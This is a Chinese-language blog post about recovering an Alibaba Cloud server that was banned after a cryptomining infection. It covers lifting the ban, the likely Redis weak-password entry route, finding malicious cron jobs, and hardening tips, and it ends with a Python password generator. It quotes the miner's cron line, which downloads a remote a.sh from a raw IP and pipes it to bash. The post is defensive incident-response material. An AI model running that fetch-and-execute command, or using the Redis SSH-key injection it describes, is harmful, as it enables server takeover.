不用急,這個時候最簡單的方法是在阿里雲裏提一個工單,反饋相關問題。
解禁服務器
要解決問題、排查刪除挖礦程序,首先我們需要解禁服務器,登錄阿里雲官方平臺後,依次點擊 控制檯
-> 個人頭像
-> 安全管控
進入相關頁面。
在處罰列表,我們可以看到相關處罰記錄,點擊解除封禁
後即可正常進入服務器了。
會有提示,需要在解禁後三日內找到挖礦程序,並刪除,否則官方會再次封禁服務器,而且無法再次進行解封(差不多意思就是,這個服務器就廢了!直接被官方回收)
問題排查
“黑客”是怎麼登錄控制我的服務器的?
我們首先可以看阿里雲提供的漏洞管理監測
,發現確實有一個漏洞,提示:Redis 未授權弱口令
。
我網絡上查了,確實可以通過Redis向系統注入本地公鑰到服務器的/root/.ssh/authorized_keys
中,然後“黑客”就可以在本地免密登錄你的服務器了。。。
所以,如果你的服務器上安裝了redis的話,可以首先考慮這個問題,引起這個問題的主要原因一般有:
- Redis設置了可遠程登錄(公網訪問)
- Redis沒有設置密碼或者密碼很簡單
所以不是業務需求的話,不要開放redis遠程登錄,另外設置一個較爲複雜的、不會在網絡出現的密碼,開放端口也可以改下,另外還有一個點就是不要用root用戶啓動redis,這樣即使遠程連接上redis,也無法去修改root下權限了~
具體相關介紹可以看這篇文章:blog.csdn.net/fdl123456/a…
上面了了可能是redis弱命令導致了“黑客”有機會登錄我們的服務器,但我看了,我朋友的服務器上並沒有安裝redis(也不知道爲啥阿里雲會檢測出這個漏洞)。。。
那我繼續找問題,首先需要登錄服務器,問登錄密碼的時候發現,登錄密碼在(阿里雲客服)工單裏?有點懵哈哈哈哈。。。
找到挖礦程序
一般來說,挖礦程序要想一直運行,那麼必然會設置一些定時任務,在linux下一般用cron進行設置,其中用戶可以使用crontab來設置定時任務。
首先我們可以輸入crontab -e
編輯root用戶的crontab文件內容,看看是否有定時任務;
crontab -e
複製代碼
(默認是使用vim編輯器,如果要退出編輯模式,可以先按ESC,再輸入:qw
回車即可退出,Linux相關操作具體可以看擁有有一臺服務器後,我竟然這麼酷?)進入文件編輯,雖然指令不怎麼能看懂,但是看到了一個網址、一個ip地址,首先非常確定這個ip不是我目前登錄的這個服務器的,而且看整理鏈接,應該是下載了一個a.sh
文件,有點礦味了~
*/30 * * * * /bin/cdz -fsSL http://104.192.82.138/sxxxxx5/a/a.sh | bash > /dev/null 2>&1
複製代碼
我退出後,他還顯示我沒有修改權限?他奶奶的~可以使用ls -l /tmp/crontab.LQJ6aT
查看文件權限所屬人,當然可以直接用sudo
指令強制修改或者刪除。
我們可以查了下這個IP地址基本信息,可以看到,是一個美國的ip~那就八九不離十了,就是個挖礦的!!!
那我們就繼續來研究下前面找到的crontab
問題,首先進入到/tmp
目錄下,查看所有crontab相關文件內容~
發現有的有,有的沒有,我們直接使用rm -rf 文件名
刪除所有相關文件:
sudo rm -rf crontab.*
複製代碼
我以爲應該這樣就好了,再次運行crontab -e
,發現會生成新的crontab.*
文件,而且自動有挖礦的內容~離譜!!!
思前想後,可能是crontab
配置的問題,輸入下面指令看看相關配置文件~果不其然,
cat /etc/crontab
複製代碼
雖然還是不能完全看懂命令含義,但是看到這個newinit.sh
就知道沒好事,
於是在自己雲服務器上看了看,果然不同。
從網絡上crontab
相關教程也可以看出,我自己的是正常的~
那是不是修改下crontab
配置文件就可以了呢?
服務器安全防範建議
首先防範的前提是不影響我們使用,甚至所有操作應該是方便我們使用的。
1、目前我還是推薦初次接觸或者對雲服務器不熟的讀者朋友使用寶塔面板
來登錄、操作服務器內容,具體功能和使用方法,大家可以看我之前的分享Linux裏的寶塔,真正的寶塔!詳細教程。
2、所有安裝的應用服務,儘量不要使用默認端口號,有密碼的設置密碼,不要嫌麻煩,可以是用1password.com
這個網站生成隨機密碼,我之前也分享過一個腳本~
import string
import random
while True:
try:
password_len = int(input('請輸入密碼長度(只能是數字):'))
password = ''.join(random.choices(string.printable.strip(), k=password_len))
print(f'你的新密碼爲:{password},請保存好~')
except Exception as e:
print(f'【出錯啦】看看是不是輸入錯誤吧,可能是輸入了非數字內容,錯誤信息:{e}')
print('*** 想結束就輸入0吧!!!***')
print('*** 回車繼續生成新密碼 ***')
flag = input('是否繼續生成新密碼:')
if flag == '0':
break
print('******************************************')
3、系統自帶的防火牆、安全防護都不要關閉~